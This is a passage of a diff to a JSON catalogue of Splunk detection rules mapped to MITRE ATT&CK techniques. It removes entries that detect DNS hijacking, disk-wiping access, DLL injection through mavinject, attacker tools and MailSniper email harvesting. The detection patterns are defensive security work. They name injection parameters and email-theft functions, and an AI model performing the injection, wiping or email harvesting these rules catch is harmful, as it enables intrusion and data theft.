Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities found in packages used by GitHub repository $repository$", - "risk_score": 27, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.001", - "mitre_attack_technique": "Compromise Software Dependencies and Development Tools", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1195", - "mitre_attack_technique": "Supply Chain Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GitHub Pull Request from Unknown User", - "description": "The following analytic detects pull requests from unknown users on GitHub. It uses a Splunk query to identify pull requests where the user ID is not specified and cross-references these with a known users lookup table. This activity is significant because pull requests from unknown users can introduce malicious code or unauthorized changes to repositories. If confirmed malicious, this could lead to unauthorized code changes, data breaches, or other security incidents. Immediate steps include reviewing the author's name, repository, head reference, and commit message, and investigating any related artifacts and processes.", - "search": "`github` check_suite.pull_requests{}.id=* | stats count by check_suite.head_commit.author.name repository.full_name check_suite.pull_requests{}.head.ref check_suite.head_commit.message | rename check_suite.head_commit.author.name as user repository.full_name as repository check_suite.pull_requests{}.head.ref as ref_head check_suite.head_commit.message as commit_message | search NOT `github_known_users` | eval phase=\"code\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_pull_request_from_unknown_user_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities found in packages used by GitHub repository $repository$", - "risk_score": 27, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.001", - "mitre_attack_technique": "Compromise Software Dependencies and Development Tools", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1195", - "mitre_attack_technique": "Supply Chain Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -160496,102 +131968,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Splunk protocol impersonation weak encryption selfsigned", - "description": "The following analytic identifies the use of Splunk's default self-signed certificates, which are flagged as insecure. It detects events from the `splunkd` log where the event message indicates that an X509 certificate should not be used. This activity is significant because using weak encryption and self-signed certificates can expose the system to man-in-the-middle attacks and other security vulnerabilities. If confirmed malicious, attackers could impersonate Splunk services, intercept sensitive data, and compromise the integrity of the Splunk environment.", - "search": "`splunkd` certificate event_message=\"X509 certificate* should not be used*\" | stats count by host CN component log_level | `splunk_protocol_impersonation_weak_encryption_selfsigned_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Splunk default issued certificate at $host$", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1588.004", - "mitre_attack_technique": "Digital Certificates", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "BlackTech", - "Lazarus Group", - "LuminousMoth", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Splunk protocol impersonation weak encryption simplerequest", - "description": "The following analytic identifies instances where Splunk's Python3 client libraries fail to validate SSL certificates properly. It leverages logs from `splunk_python` to detect when \"simpleRequest SSL certificate validation is enabled without hostname verification.\" This activity is significant because improper SSL certificate validation can expose the system to man-in-the-middle attacks, allowing attackers to intercept or alter data. If confirmed malicious, this vulnerability could lead to unauthorized access, data breaches, and potential system compromise. Upgrading to Splunk version 9 and configuring TLS hostname validation is recommended to mitigate this risk.", - "search": "`splunk_python` \"simpleRequest SSL certificate validation is enabled without hostname verification\" | stats count by host path | `splunk_protocol_impersonation_weak_encryption_simplerequest_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Failed to validate certificate on $host$", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1588.004", - "mitre_attack_technique": "Digital Certificates", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "BlackTech", - "Lazarus Group", - "LuminousMoth", - "Silent Librarian" - ] - } - ] - } } ], "external_reference": [], @@ -161059,131 +132435,6 @@ "references": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90009" ] - }, - { - "name": "Windows Raw Access To Disk Volume Partition", - "description": "The following analytic detects suspicious raw access reads to the device disk partition of a host machine. It leverages Sysmon EventCode 9 logs to identify processes attempting to read or write to the boot sector, excluding legitimate system processes. This activity is significant as it is commonly associated with destructive actions by adversaries, such as wiping, encrypting, or overwriting the boot sector, as seen in attacks involving malware like HermeticWiper. If confirmed malicious, this behavior could lead to severe impacts, including system inoperability, data loss, or compromised boot integrity.", - "search": "`sysmon` EventCode=9 Device = \\\\Device\\\\HarddiskVolume* NOT (Image IN(\"*\\\\Windows\\\\System32\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by dest signature signature_id process_guid process_name process_path Device | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_raw_access_to_disk_volume_partition_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-264A", - "Caddy Wiper", - "Data Destruction", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Process accessing disk partition $Device$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1561.002", - "mitre_attack_technique": "Disk Structure Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1561", - "mitre_attack_technique": "Disk Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Raw Access To Master Boot Record Drive", - "description": "The following analytic detects suspicious raw access reads to the drive containing the Master Boot Record (MBR). It leverages Sysmon EventCode 9 to identify processes attempting to read or write to the MBR sector, excluding legitimate system processes. This activity is significant because adversaries often target the MBR to wipe, encrypt, or overwrite it as part of their impact payload. If confirmed malicious, this could lead to system instability, data loss, or a complete system compromise, severely impacting the organization's operations.", - "search": "`sysmon` EventCode=9 Device = \\\\Device\\\\Harddisk0\\\\DR0 NOT (Image IN(\"*\\\\Windows\\\\System32\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer Image Device ProcessGuid ProcessId EventDescription EventCode | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_raw_access_to_master_boot_record_drive_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-264A", - "Caddy Wiper", - "Data Destruction", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "NjRAT", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "process accessing MBR $Device$ on $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1561.002", - "mitre_attack_technique": "Disk Structure Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1561", - "mitre_attack_technique": "Disk Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -161968,252 +133219,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "DNS Query Requests Resolved by Unauthorized DNS Servers", - "description": "This search will detect DNS requests resolved by unauthorized DNS servers. Legitimate DNS servers should be identified in the Enterprise Security Assets and Identity Framework.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where DNS.dest_category != dns_server AND DNS.src_category != dns_server by DNS.src DNS.dest | `drop_dm_object_name(\"DNS\")` | `dns_query_requests_resolved_by_unauthorized_dns_servers_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "DNS Hijacking", - "Host Redirection", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.004", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT39", - "APT41", - "Chimera", - "Cobalt Group", - "FIN7", - "Ke3chang", - "LazyScripter", - "OilRig", - "Tropic Trooper" - ] - } - ] - } - }, - { - "name": "DNS record changed", - "description": "The search takes the DNS records and their answers results of the discovered_dns_records lookup and finds if any records have changed by searching DNS response from the Network_Resolution datamodel across the last day.", - "search": "| inputlookup discovered_dns_records | rename answer as discovered_answer | join domain[|tstats `security_content_summariesonly` count values(DNS.record_type) as type, values(DNS.answer) as current_answer values(DNS.src) as src from datamodel=Network_Resolution where DNS.message_type=RESPONSE DNS.answer!=\"unknown\" DNS.answer!=\"\" by DNS.query | rename DNS.query as query | where query!=\"unknown\" | rex field=query \"(?\\w+\\.\\w+?)(?:$|/)\"] | makemv delim=\" \" answer | makemv delim=\" \" type | sort -count | table count,src,domain,type,query,current_answer,discovered_answer | makemv current_answer | mvexpand current_answer | makemv discovered_answer | eval n=mvfind(discovered_answer, current_answer) | where isnull(n) | `dns_record_changed_filter`", - "tags": { - "analytic_story": [ - "DNS Hijacking" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.004", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT39", - "APT41", - "Chimera", - "Cobalt Group", - "FIN7", - "Ke3chang", - "LazyScripter", - "OilRig", - "Tropic Trooper" - ] - } - ] - } - }, - { - "name": "DNS Query Length Outliers - MLTK", - "description": "The following analytic identifies DNS requests with unusually large query lengths for the record type being requested. It leverages the Network_Resolution data model and applies a machine learning model to detect outliers in DNS query lengths. This activity is significant because unusually large DNS queries can indicate data exfiltration or command-and-control communication attempts. If confirmed malicious, this activity could allow attackers to exfiltrate sensitive data or maintain persistent communication channels with compromised systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as start_time max(_time) as end_time values(DNS.src) as src values(DNS.dest) as dest from datamodel=Network_Resolution by DNS.query DNS.record_type | search DNS.record_type=* | `drop_dm_object_name(DNS)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval query_length = len(query) | apply dns_query_pdfmodel threshold=0.01 | rename \"IsOutlier(query_length)\" as isOutlier | search isOutlier > 0 | sort -query_length | table start_time end_time query record_type count src dest query_length | `dns_query_length_outliers___mltk_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Hidden Cobra Malware", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.004", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT39", - "APT41", - "Chimera", - "Cobalt Group", - "FIN7", - "Ke3chang", - "LazyScripter", - "OilRig", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Excessive DNS Failures", - "description": "The following analytic identifies excessive DNS query failures by counting DNS responses that do not indicate success, triggering when there are more than 50 occurrences. It leverages the Network_Resolution data model, focusing on DNS reply codes that signify errors. This activity is significant because a high number of DNS failures can indicate potential network misconfigurations, DNS poisoning attempts, or malware communication issues. If confirmed malicious, this activity could lead to disrupted network services, hindered communication, or data exfiltration attempts by attackers.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where nodename=DNS \"DNS.reply_code\"!=\"No Error\" \"DNS.reply_code\"!=\"NoError\" DNS.reply_code!=\"unknown\" NOT \"DNS.query\"=\"*.arpa\" \"DNS.query\"=\"*.*\" by \"DNS.src\" \"DNS.query\" \"DNS.reply_code\" | `drop_dm_object_name(\"DNS\")` | lookup cim_corporate_web_domain_lookup domain as query OUTPUT domain | where isnull(domain) | lookup update=true alexa_lookup_by_str domain as query OUTPUT rank | where isnull(rank) | eventstats max(count) as mc by src reply_code | eval mode_query=if(count=mc, query, null()) | stats sum(count) as count values(mode_query) as query values(mc) as max_query_count by src reply_code | where count>50 | `get_asset(src)` | `excessive_dns_failures_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive DNS failures detected on $src$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.004", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT39", - "APT41", - "Chimera", - "Cobalt Group", - "FIN7", - "Ke3chang", - "LazyScripter", - "OilRig", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } } ], "external_reference": [], @@ -163269,55 +134274,6 @@ "references": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90009" ] - }, - { - "name": "Windows WinLogon with Public Network Connection", - "description": "The following analytic detects instances of Winlogon.exe, a critical Windows process, connecting to public IP addresses. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on network connections made by Winlogon.exe. Under normal circumstances, Winlogon.exe should not connect to public IPs, and such activity may indicate a compromise, such as the BlackLotus bootkit attack. This detection is significant as it highlights potential system integrity breaches. If confirmed malicious, attackers could maintain persistence, bypass security measures, and compromise the system at a fundamental level.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (winlogon.exe) Processes.process!=unknown by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 NOT (All_Traffic.dest IN (127.0.0.1,10.0.0.0/8,172.16.0.0/12, 192.168.0.0/16, 0:0:0:0:0:0:0:1)) by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as publicIp ] | table dest parent_process_name process_name process_path process process_id dest_port publicIp | `windows_winlogon_with_public_network_connection_filter`", - "tags": { - "analytic_story": [ - "BlackLotus Campaign" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Winlogon.exe has generated a network connection to a remote destination on endpoint $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542.003", - "mitre_attack_technique": "Bootkit", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -163935,82 +134891,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Windows Binary Proxy Execution Mavinject DLL Injection", - "description": "The following analytic detects the use of mavinject.exe for DLL injection into running processes, identified by specific command-line parameters such as /INJECTRUNNING and /HMODULE. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because it indicates potential arbitrary code execution, a common tactic for malware deployment and persistence. If confirmed malicious, this could allow attackers to execute unauthorized code, escalate privileges, and maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=mavinject.exe Processes.process IN (\"*injectrunning*\", \"*hmodule=0x*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_binary_proxy_execution_mavinject_dll_injection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting load a DLL.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.013", - "mitre_attack_technique": "Mavinject", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -165047,169 +135928,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Attacker Tools On Endpoint", - "description": "The following analytic detects the execution of tools commonly exploited by cybercriminals, such as those used for unauthorized access, network scanning, or data exfiltration. It leverages process activity data from Endpoint Detection and Response (EDR) agents, focusing on known attacker tool names. This activity is significant because it serves as an early warning system for potential security incidents, enabling prompt response. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further network compromise, posing a severe threat to the organization's security infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown by Processes.dest Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup attacker_tools attacker_tool_names AS process_name OUTPUT description | search description !=false| `attacker_tools_on_endpoint_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Monitor for Unauthorized Software", - "SamSam Ransomware", - "Unusual Processes", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An attacker tool $process_name$,listed in attacker_tools.csv is executed on host $dest$ by User $user$. This process $process_name$ is known to do- $description$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.005", - "mitre_attack_technique": "Match Legitimate Name or Location", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT32", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Blue Mockingbird", - "Carbanak", - "Chimera", - "Darkhotel", - "Earth Lusca", - "FIN13", - "FIN7", - "Ferocious Kitten", - "Fox Kitten", - "Gamaredon Group", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Poseidon Group", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "Sowbug", - "TA2541", - "TeamTNT", - "ToddyCat", - "Transparent Tribe", - "Tropic Trooper", - "Volt Typhoon", - "WIRTE", - "Whitefly", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1595", - "mitre_attack_technique": "Active Scanning", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -165412,98 +136130,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Splunk Digital Certificates Infrastructure Version", - "description": "The following analytic identifies improper TLS validation configuration on Splunk search heads and peers post version 9. It leverages REST API calls to retrieve server information and SSL configuration settings, checking fields like `sslVerifyServerCert` and `sslVerifyServerName`. This activity is significant for a SOC as improper TLS settings can expose the infrastructure to man-in-the-middle attacks and data breaches. If confirmed malicious, attackers could intercept or manipulate data, compromising the integrity and confidentiality of communications within the Splunk environment.", - "search": "| rest /services/server/info | table splunk_server version server_roles | join splunk_server [| rest /servicesNS/nobody/search/configs/conf-server/ search=\"sslConfig\"| table splunk_server sslVerifyServerCert sslVerifyServerName serverCert] | fillnull value=\"Not Set\" | rename sslVerifyServerCert as \"Server.conf:SslConfig:sslVerifyServerCert\", sslVerifyServerName as \"Server.conf:SslConfig:sslVerifyServerName\", serverCert as \"Server.conf:SslConfig:serverCert\" | `splunk_digital_certificates_infrastructure_version_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$splunk_server$ may not be properly validating TLS Certificates", - "risk_score": 50, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1587.003", - "mitre_attack_technique": "Digital Certificates", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29", - "PROMETHIUM" - ] - } - ] - } - }, - { - "name": "Splunk Digital Certificates Lack of Encryption", - "description": "The following analytic identifies Splunk forwarder connections that are not using TLS encryption. It leverages data from the `splunkd` logs, specifically looking for connections where the `ssl` field is set to \"false\". This activity is significant because unencrypted connections can expose sensitive data and allow unauthorized access, posing a security risk. If confirmed malicious, an attacker could exploit this vulnerability to download or publish forwarder bundles, potentially leading to arbitrary code execution and further compromise of the environment.", - "search": "`splunkd` group=\"tcpin_connections\" ssl=\"false\" | stats values(sourceIp) latest(fwdType) latest(version) by hostname | `splunk_digital_certificates_lack_of_encryption_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "hostname", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$hostname$ is not using TLS when forwarding data", - "risk_score": 20, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1587.003", - "mitre_attack_technique": "Digital Certificates", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29", - "PROMETHIUM" - ] - } - ] - } } ], "external_reference": [], @@ -166897,129 +137523,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Email files written outside of the Outlook directory", - "description": "The following analytic detects email files (.pst or .ost) being created outside the standard Outlook directories. It leverages the Endpoint.Filesystem data model to identify file creation events and filters for email files not located in \"C:\\Users\\*\\My Documents\\Outlook Files\\*\" or \"C:\\Users\\*\\AppData\\Local\\Microsoft\\Outlook*\". This activity is significant as it may indicate data exfiltration or unauthorized access to email data. If confirmed malicious, an attacker could potentially access sensitive email content, leading to data breaches or further exploitation within the network.", - "search": "| tstats `security_content_summariesonly` count values(Filesystem.file_path) as file_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name=*.pst OR Filesystem.file_name=*.ost) Filesystem.file_path != \"C:\\\\Users\\\\*\\\\My Documents\\\\Outlook Files\\\\*\" Filesystem.file_path!=\"C:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Outlook*\" by Filesystem.action Filesystem.process_id Filesystem.file_name Filesystem.dest | `drop_dm_object_name(\"Filesystem\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `email_files_written_outside_of_the_outlook_directory_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.001", - "mitre_attack_technique": "Local Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "Chimera", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Mailsniper Invoke functions", - "description": "The following analytic detects the execution of known MailSniper PowerShell functions on a machine. It leverages PowerShell logs (EventCode 4104) to identify specific script block text associated with MailSniper activities. This behavior is significant as MailSniper is often used by attackers to harvest sensitive emails from compromised Exchange servers. If confirmed malicious, this activity could lead to unauthorized access to sensitive email data, credential theft, and further compromise of the email infrastructure.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*Invoke-GlobalO365MailSearch*\", 